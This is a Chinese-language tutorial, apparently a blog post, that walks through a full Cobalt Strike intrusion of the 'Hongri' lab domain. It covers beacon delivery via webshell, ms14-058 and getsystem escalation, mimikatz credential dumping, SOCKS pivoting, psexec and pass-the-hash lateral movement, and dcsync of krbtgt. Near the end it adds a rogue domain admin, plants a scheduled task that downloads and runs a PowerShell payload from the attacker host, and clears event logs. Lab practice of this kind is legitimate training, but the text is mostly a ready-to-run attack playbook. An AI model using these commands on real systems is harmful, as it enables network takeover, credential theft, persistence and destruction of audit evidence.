CS使用,这里借用红日靶场操作CS
信息收集 → 漏洞利用 → 权限提升 → 权限维持 ↓ 痕迹清理 ← 跨域攻击 ← 内网渗透 ← 内网代理
CS(Cobalt Strike)不是普通的木马工具,它是一个完整的 C2(Command & Control)框架。在红日靶场里,它的角色相当于你的"指挥中心"。
| 概念 | 一句话解释 | 在红日靶场里对应什么 |
|---|---|---|
| Team Server | CS 的服务端,所有被控机器都回连到这里 | 跑在 Kali 上的 C2 服务器 |
| Client | CS 的客户端,你操作的地方 | 你看到的图形化界面 |
| Listener | 监听器,告诉 Beacon"回连到哪个地址、哪个端口" | 类似"WiFi 路由器",Beacon 连上来 |
| Beacon | CS 的专属后门程序,会定期"回家报到" | Win7 上运行的 beacon.exe |
| Session | 一台上线的主机就是一个 Session | Win7、Win2008 上线后显示的会话 |
| Sleep | Beacon 多久回连一次 C2 | 默认 60 秒,靶场里可以调 1 秒 |
| Staged | 分段加载,先传小马,再下载大马 | windows/beacon_http/reverse_http |
| Stageless | 一体式,直接传完整的大马 | windows/beacon_http/reverse_http(s) |
| 主机 | 角色 | IP 地址 |
|---|---|---|
| Kali | 攻击机 + CS Team Server | 192.168.22.x(外网) |
| Win7 | Web 跳板机(双网卡) | 192.168.22.148(外网)/ 192.168.52.143(内网) |
| Win2008 | 域控(DC) | 192.168.52.138 |
| Win2003 | 域成员 | 192.168.52.141 |
IP 可能和我不一样,后面操作的时候换成你自己的 IP。
在 Kali 终端执行:
bashcd ~/cobaltstrike
chmod +x teamserver
./teamserver 192.168.22.147 123456

参数说明:
192.168.22.147:Kali 的外网 IP(Beacon 要连这个 IP)123456:连接密码(Client 连上来要用)启动成功后,终端会显示一个 SHA256 hash,这是 SSL 证书指纹,客户端连接时会验证,防止中间人攻击。
再开一个 Kali 终端:
bashcd ~/cobaltstrike
chmod +x cobaltstrike
./cobaltstrike
这里我直接在windows跑的

连接配置:
192.168.22.14750050(默认)operator1123456点击 Connect,弹出指纹确认框,对比 SHA256 和 Team Server 输出的是否一致,点 Yes。
Listener 是 CS 的核心,没有它,Beacon 就不知道回连到哪里。
操作路径:菜单栏 Cobalt Strike → Listeners(或点工具栏的耳机图标)
在 Listeners 面板下方点击 Add:
| 参数 | 填写 | 说明 |
|---|---|---|
| Name | http_beacon | 随便起,自己认得就行 |
| Payload | Beacon HTTP | 走 HTTP 协议回连 |
| HTTP Hosts | 点 + → 填 192.168.22.147 | Team Server 的 IP |
| HTTP Port | 80 | 监听端口,80 不容易被防火墙拦 |
点击 Save。此时 CS 在 Kali 上起了个 HTTP 服务,监听 80 端口,等 Beacon 来敲门。
操作路径:Payloads → Windows Stageless Payload
选择刚才创建的 http_beacon Listener,点击 Generate,保存为 beacon.exe。

你之前已经通过 phpMyAdmin 日志写 shell 拿到了蚁剑/VShell 的 Webshell。现在把 beacon.exe 传上去:
beacon.exe 上传到 C:\Windows\Temp\cmdcd C:\Windows\Temp beacon.exe
也可以用 CS 的 Script Web Delivery(
Cobalt Strike → Script Web Delivery),生成一条 PowerShell 命令,直接在蚁剑终端里执行,Win7 会自动下载并运行 Beacon。

回到 CS 客户端,你会看到:
右键这个 Session → Interact,打开 Beacon 控制台。这就是发命令的地方。

Beacon 控制台是所有操作的入口。提示符是 beacon>。
| 命令 | 作用 |
|---|---|
getuid | 查看当前用户 |
pwd | 查看当前目录 |
cd | 切换目录 |
ls | 列出文件 |
upload | 上传文件 |
download | 下载文件 |
sleep | 设置回连间隔 |
exit | 退出 Beacon |
shell)| 错误 ❌ | 正确 ✅ |
|---|---|
whoami | shell whoami |
ipconfig | shell ipconfig |
net user | shell net user |
systeminfo | shell systeminfo |
tasklist | shell tasklist |
还有一些
net view # 查看局域网内其他主机名 net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域 net user # 查看本机用户列表 net user /domain # 查看域用户 net localgroup administrators # 查看本地管理员组(通常会有域用户) net view /domain # 查看有几个域 net user 用户名 /domain # 获取指定域用户的信息 net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作) net group 组名 /domain # 查看域中某工作组 net group "domain admins" /domain # 查看域管理员的名字 net group "domain computers" /domain # 查看域中的其他主机名 net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台) ———————————————— 版权声明:本文为CSDN博主「火白学安全」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/mc11451419198/article/details/150070176
提示
这里如果你觉得beacon执行命令要等半天是因为sleep间隔,这样可以隐匿流量特征,但是这里我们就直接beacon> sleep 0即可


右键 Beacon Session,这些功能最常用:
| 菜单项 | 作用 | 什么时候用 |
|---|---|---|
| Interact | 打开命令控制台 | 每次都要用 |
| File Browser | 图形化文件管理 | 上传下载文件 |
| Process List | 查看进程,可注入/迁移 | 找高权限进程 |
| Screenshot | 屏幕截图 | 看对方在干什么 |
| Desktop (VNC) | 远程桌面控制 | 可视化操作 |
| SOCKS Server | 开启 socks 代理 | 进内网必须开 |
| Port Scan | 内网端口扫描 | 找内网其他主机 |
| Elevate | 一键提权 | 拿到 shell 后第一步 |
| Run Mimikatz | 运行 mimikatz | 抓密码 |
| LogonPasswords | 直接抓取登录凭据 | 最常用,一键出密码 |
| Make Token | 制作凭证令牌 | 横向移动前用 |
| Jump → psexec | 横向移动 | 拿下其他主机 |
插入:这里其实有个进程隐藏


这里图形界面直接inject就可以,然后kill掉,命令行可以使用
beacon> inject [目标PID] [监听器名称] [技术选项]

然后我们使用新的就好了,这里增加隐蔽性

红日靶场 Win7 有很多提权漏洞,CS 可以一键搞定。
判断当前权限,或者可以使用getuid

Administrator = 当前是管理员权限
Administrator * = 管理员,且是高完整性(可以提权)
NT AUTHORITY\SYSTEM = 系统最高权限,不需要再提权
或者 在 Windows 的 强制完整性控制(MIC) 机制中,**SID 的最后一段数字(12288)**直接对应权限等级。对应关系如下:
| 完整性级别 | SID 后缀 | 说明 |
|---|---|---|
| 低 (Low) | 4096 | 例如 IE/Edge 保护模式、Chrome 沙箱进程 |
| 中 (Medium) | 8192 | 标准用户权限(非管理员运行的程序) |
| 高 (High) | 12288 | 管理员权限(以管理员身份运行) |
| 系统 (System) | 16384 | 系统内核或 SYSTEM 账户进程 |
输出中明确包含:
GOD\Domain AdminsGOD\Enterprise Admins
这表示当前登录的用户不仅是本地管理员(BUILTIN\Administrators),还是域管理员和企业管理员。这意味着你拥有整个域的最高控制权,权限等级绝对是“高”。
https://blog.csdn.net/q20010619/article/details/121733533 这篇文章写的全面
提权操作 在 CS 中有以下几种提权操作: bypassuac:将本地中级管理员权限提升至本地高级管理员权限,适用于Win 7 及以上的系统 elevate:将任意用户的权限提升至系统权限,适用于2018年11月更新之前的 Win 7 和 Win 10 系统 getsystem:将本地高级管理员权限提升至系统权限 runas:使用其他用户的凭证来以其他用户身份运行一个命令,该命令不会返回任何输出 spawnas:使用其他用户的凭证来以其他用户身份派生一个会话,这个命令派生一个临时的进程并将 payload stage 注入进那个进程
这里因为我们本来就是高权限,直接getsystem提权到system既可

这里介绍的针对于提权漏洞的提权方法
右键 Beacon → Elevate(或 Access → Elevate)
CS 的提权方式(导入):
| 提权方式 | 适用场景 | 红日靶场 Win7 能用吗 |
|---|---|---|
ms14-058 | Windows 7/8/2008 提权 | ✅ 能用,最稳 |
ms15-051 | Windows 7/8/10 提权 | ✅ 能用 |
ms16-016 | Windows 7/8 提权 | ✅ 能用 |
uac-token-duplication | 绕过 UAC | ✅ 如果当前是管理员但 UAC 高 |
选择 ms14-058,Listener 选 http_beacon,点击 Launch。
如果成功,你会看到一个新的 SYSTEM 权限 Beacon Session 上线!
右键新的 Session → Interact:
bashbeacon> whoami
# 输出:nt authority\system
beacon> getuid
# 输出:SYSTEM
右键 SYSTEM 权限的 Beacon → Access → LogonPasswords
或者在控制台直接输入:
bashbeacon> logonpasswords
CS 会自动调用内置的 Mimikatz,输出结果类似:

Authentication Id : 0 ; 123456 (00000000:0001e240) Session : Interactive from 1 User Name : Administrator Domain : GOD Logon Server : OWA msv : * Username : Administrator * Domain : GOD * NTLM : 42f2e5f6a7b8c9d0e1f2a3b4c5d6e7f8 wdigest : * Username : Administrator * Domain : GOD * Password : Admin123! <-- 明文密码!
点击菜单栏 View → Credentials,CS 会把所有抓到的密码整理成一个表格:

bashbeacon>shell ipconfig
红日靶场 Win7 会有两个网卡:
192.168.22.143192.168.52.143 ← 这就是内网入口bashbeacon> net view
# 输出:
# \\OWA 域控制器
# \\ROOT-TVI862UBEH 域成员
# \\STU1 (当前主机)

右键 Beacon → Explore → Port Scan
输入目标网段:192.168.52.0/24
CS 会扫描内网所有存活主机和开放端口。结果在 View → Targets 里显示。

通过 ARP 扫描,你精准锁定了内网 192.168.52.x 段里有 3 台活着的机器:
192.168.52.143(MAC: 00-0C-29-7F-03-0A)—— 这就是你当前的 Win7 跳板机(主机名 STU1)。192.168.52.138(MAC: 00-0C-29-0B-B6-04)—— 这是域控(DC)(主机名 OWA,操作系统 6.1 = Windows Server 2008 R2)。192.168.52.141(MAC: 00-0C-29-C9-E9-41)—— 这是另一台域成员(主机名 ROOT-TVI862UBEH,操作系统 5.2 = Windows Server 2003)。192.168.52.138(你的首要目标)扫到的端口:53(DNS), 80(HTTP), 88(Kerberos), 135(RPC), 139(NetBIOS), 389(LDAP), 445(SMB), 464(Kerberos改密), 593(RPC), 636(LDAPS)
psexec 远程执行命令。192.168.52.141(Win2003 老机器)扫到的端口:21(FTP), 135, 139, 445, 777(未知)
Microsoft FTP Service。这是潜在突破口(可以试试匿名登录或弱口令)。192.168.52.143(你自己的跳板)扫到的端口:80, 135, 139, 445
这是 CS 最方便的功能——自动路由。Win7 有两张网卡,CS 可以把它变成"路由器",让 Kali 的流量通过 Win7 进入内网。
右键 Win7 的 Beacon → Pivoting → SOCKS Server
设置端口:1080,点击 Launch。
CS 会在 Kali 上开启一个 SOCKS5 代理:127.0.0.1:1080

编辑 Kali 的 /etc/proxychains.conf,在最后一行添加:
socks5 127.0.0.1 1080
这里需要把那个socks4删除掉,否则默认连得是那个好像

bashproxychains nmap -sT -Pn 192.168.52.138
如果能扫到域控的端口,说明隧道通了!后面所有内网操作都走这个代理。
现在你有:
GOD\AdministratorAdmin123!42f2e5f6a7b8c9d0e1f2a3b4c5d6e7f8右键 Win7 的 Beacon → Access → Make Token
填入:
GOD\AdministratorAdmin123!点击 Create。这会生成一个访问令牌,后面 psexec 会用到。

在 View → Targets 里找到 192.168.52.138,右键 → Login → psexec

或者右键 Beacon → Jump → psexec:
| 参数 | 填写 |
|---|---|
| Target | 192.168.52.138 |
| Listener | 选 http_beacon(或新建一个 SMB Beacon) |
| Session | 当前 Win7 的 Session |
| Credentials | 选刚才抓到的 GOD\Administrator |
点击 Launch。
如果成功,你会看到一个新的 Beacon 上线,权限是 SYSTEM,主机是域控
但是这里肯定是失败的,因为不在同一个网段,需要借助445
新建一个smb监听器

按照刚才的步骤走

成功上线

同样方法,目标填 192.168.52.141。
如果只有 Hash 没有明文密码,右键 → Jump → psexec (PSH),选择 Use Hash:
Username: GOD\Administrator Hash: 42f2e5f6a7b8c9d0e1f2a3b4c5d6e7f8
这样不需要明文密码也能横向移动。
Impacket 是一套强大的Python协议工具,其中的 psexec.py、wmiexec.py 等是横向移动的利器。
1. 获取交互式 Shell
使用 psexec.py 可以直接获取一个半交互式的CMD shell。
bash
proxychains impacket-psexec GOD/Administrator:hongrisec@2026@192.168.52.138
如果使用哈希传递,命令格式为:
bash
proxychains impacket-psexec -hashes :<NTLM_HASH> GOD/Administrator@192.168.52.138
2. 执行单条命令
使用 wmiexec.py 可以执行单条命令并获取回显,适合自动化操作。
bash
proxychains impacket-wmiexec GOD/Administrator:hongrisec@2026@192.168.52.138 "whoami"
3. 上传文件
可以在获取Shell后,通过lput命令上传文件。
proxychains impacket-psexec GOD/Administrator:hongrisec@2026@192.168.52.138 # 进入shell后执行 lput /path/to/your/payload.exe C:\\Windows\\Temp\\payload.exe

右键域控 Beacon → Access → LogonPasswords
域控上可能抓到更多域用户的密码,包括 krbtgt(金钥匙)。
bashbeacon> dcsync GOD.ORG Administrator beacon> dcsync GOD.ORG krbtgt
如果拿到了 krbtgt 的 Hash,右键域控 Beacon → Access → Golden Ticket,可以生成黄金票据,永久控制整个域。
bashbeacon> shell reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
beacon> shell netsh advfirewall firewall set rule group="remote desktop" new enable=yes
然后 Kali 上连接:
bashproxychains rdesktop 192.168.52.138 -u GOD\Administrator -p Admin123!
在域控的 Beacon 里:
bashbeacon> shell net user hacker P@ssw0rd! /add /domain
beacon> shell net group "domain admins" hacker /add /domain
Cobalt Strike → Script Web Delivery,生成新的 PowerShell 命令,写入域控的计划任务:
bashbeacon> shell schtasks /create /tn "WindowsUpdate" /tr "powershell.exe -nop -w hidden -c IEX (new-object net.webclient).downloadstring('http://192.168.22.147:80/b')" /sc onlogon /ru system
右键每个主机的 Beacon → 执行命令:
bashbeacon> shell wevtutil cl Security beacon> shell wevtutil cl System beacon> shell wevtutil cl Application
bashbeacon> shell del C:\Windows\Temp\beacon.exe
beacon> shell del C:\Windows\Temp\*.log
有时候你想用 MSF 的某些模块,但已经有 CS 的会话了,可以把它"借"给 MSF。
bashmsfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.22.147
set lport 4444
exploit
Cobalt Strike → Listeners → Add:
Foreign HTTP192.168.22.1474444右键 Win7 的 Beacon → Spawn,选择刚才的 Foreign HTTP Listener。
MSF 里就会收到一个 Meterpreter 会话!
之后可以在 MSF 里建路由、开 socks:
bashmeterpreter > run post/multi/manage/autoroute
meterpreter > background
msf6 > use auxiliary/server/socks_proxy
msf6 > set SRVPORT 1080
msf6 > run
这样其他工具也能通过 CS→MSF 的通道进入内网。
| 步骤 | 操作 | 点哪里 / 输什么 |
|---|---|---|
| 1. 启动 C2 | ./teamserver IP 密码 | Kali 终端 |
| 2. 连接 C2 | ./cobaltstrike | 填 IP、Port、密码 |
| 3. 建 Listener | Cobalt Strike → Listeners → Add | 选 Beacon HTTP |
| 4. 生成 Payload | Payloads → Windows Stageless | 选 Listener,保存 exe |
| 5. 投递执行 | 蚁剑上传 + 终端执行 | beacon.exe |
| 6. 上线确认 | 看 Session 图标 | 灰色=睡觉,绿色=在线 |
| 7. 提权 | 右键 → Elevate | 选 ms14-058 |
| 8. 抓密码 | 右键 → LogonPasswords | 或输 logonpasswords |
| 9. 看凭据 | View → Credentials | 记下明文密码和 Hash |
| 10. 扫内网 | 右键 → Port Scan | 填 192.168.52.0/24 |
| 11. 开隧道 | 右键 → SOCKS Server | 端口 1080 |
| 12. 做令牌 | 右键 → Make Token | 填域管账号密码 |
| 13. 横向移动 | View → Targets 右键 → psexec | 选目标 IP + SMB Listener |
| 14. 控制域控 | 重复抓密码、DCSync | dcsync GOD.ORG krbtgt |
| 15. 清痕迹 | shell wevtutil cl Security | 每台主机都清 |